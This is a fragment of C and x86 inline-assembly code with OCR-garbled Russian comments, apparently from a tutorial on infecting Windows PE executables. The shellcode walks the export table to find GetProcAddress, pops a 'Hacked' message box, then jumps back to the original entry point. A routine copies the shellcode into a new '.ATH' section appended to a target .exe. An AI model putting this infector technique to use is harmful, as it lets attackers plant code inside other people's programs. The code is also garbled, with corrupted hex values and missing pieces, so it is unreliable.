cmp dword ptr[esi + 8], ©x65726464; //TpeTbe cnoBo = d(64)d(64)r(72)e(65)
// HeT HeobXoguMMOCTU UCKaTb Jalee,
// Tak Kak 6onbwe HeT QyHKLUMIA, HaduHawwmxcAa ¢ GetProcAddre
je stp; //ecnu Hawnu, TO npbiraeMm Ha MeTKy stp
jmp GPA
stp :

mov  edx, [edi + ©x24]; //Tabnuua OTHOCUTENbHbIX MOPAAKOBbLIX HOMEPOB QYHKLMNA
add edx, ebx; //Tabnuua nopAAKOBbIX HOMEPOB (YHKLMMA

mov  cx, [edx + 2 * ecx]; //nopsankoBbii HOMep OyHKLMUK

mov edx, [edi + ©x1c]; //Tabanua OTHOCHUTE/NbHLIX aAPECOB CMEWEHWN

add  edx, ebx; //Tabnuua agpecos

mov  eax, [edx + 4 * ecx]; //cmeweHue MopsLKOBOro Homepa



add  eax, ebx; //VMA ¢yHKunM
// Tenepb EAX copmepxuT appec GetProcAddress
mov esi, eax

sub esp, 12

mov ebx, esp

mov byte ptr[ebx], ex4d //M

mov byte ptr[ebx + 1], 0x65 //e

mov byte ptr[ebx + 2], 0x73 //s

mov byte ptr[ebx + 3], 0x73 //s

mov byte ptr[ebx + 4], 0x61 //a

mov byte ptr[ebx + 5], 0x67 //g

mov byte ptr[ebx + 6], 0x65 //e

mov byte ptr[ebx + 7], 0x42 //B

mov byte ptr[ebx + 8], Ox6f //o

mov byte ptr[ebx + 9], 0x78 //x

mov byte ptr[ebx + 10], ox41 //A
mov byte ptr[ebx + 11], 0x0

/*

JocTaem 3Ha4veHne, COXpaHeHHOe nocsie Bo3BpaTa LoadlLibraryA

BbizoB GetProcAddress BbiIrnaauT Tak:

esi(saved eax{address of user32.dll module}, ebx {the string "MessageBoxA"})
*/

mov eax, [esp + 12]

push ebx; //MessageBoxA

push eax; //6a3oBbii agpec user32.dll, koTopbliii monyyYunu c nomowbk LoadLibraryA
call esi; //appec GetProcAddress :))

add esp, 12

sub esp, 8
mov ebx,esp
mov byte ptr[ebx], 72; //H

mov byte ptr[ebx + 1], 97; //a
mov byte ptr[ebx + 2], 99; //c
mov byte ptr[ebx + 3], 107; //k
mov byte ptr[ebx + 4], 101; //e
mov byte ptr[ebx + 5], 100; //d
mov byte ptr[ebx + 6], ©

push ©

push ©

push ebx

push ©

call eax

add esp, 8

mov eax, Oxdeadbeef ; //OpuruHanbHaa To4yka BxoAa
jmp eax



__asm{
over:
mov eax, loc2
mov [end],eax
loc2:

byte mac[1e00];

byte *fb = ((byte *)(start));
DWORD *invalidEP;

DWORD i = 0;

while (i < ((end - 11) - start)){
invalidEP = ((DWORD*)((byte*)start + i));
if (*invalidEP == @xdeadbeef){

/*
Tak Kak 3Ha4veHue OEP (opurvHanbHas TOYKa BXOAA) XPaHUTCA B MEpeMeHHOW BHYTpU
Kofa MHPeKTOopa M ecanm Mbl XOTUM CCbINATbCA Ha Hero u3 onkopos, To self-read kop
3aMONHUT HeAelCTBUTENbHbIA agpec, TaK KakK Mbl yKaxem Ha TO, 4YTO cyuwecTByeT
TOJIbKO
34eCb, a He Ha pa3fes [aHHbIX 3apaxeHHOW Mporpammbl. PeweHue: Mbl MOMECTUM
3arnywky co 3HayeHuem Oxdeadbeef, 4TO6b MoO3xe nepesanucaTb Tyaa OEP.
*/
DWORD old;
VirtualProtect((LPVOID)invalidEP, 4, PAGE_EXECUTE_READWRITE, &old);
*invalidEP = OEP;
}
mac[i] = fb[i];
i++;
}

SetFilePointer(file, last->PointerToRawData, NULL, FILE_BEGIN);
WriteFile(file, mac, i, &dw, 0);

CloseHandle(file);

return true;

void main(){
char *file = "C:\\Users\\M\\Desktop\\Athena.exe";
int res = AddSection(file, ".ATH", 400);
switch (res){
case 0:
printf("Error adding section: File not found or in use!\n");
break;
case 1:
printf("Section added!\n");
if (AddCode(file))
printf("Code written!\n");
else
printf("Error writting code!\n");
break;



case -1:
printf("Error adding section: Invalid path or PE format!\n");
break;
case -2:
printf("Error adding section: Section already exists!\n");
break;
case -3:
printf("Error: x64 PE detected! This version works only with x86 PE's!\n");
break;

[IpoGyitTe, yoaydrmaiiTe, genaite cBoe u camoe riasHoe: JJEJIMTECHh 9TUM C JIPYTVIMUN!
CyacT/IuBOrO Ko/iHra!



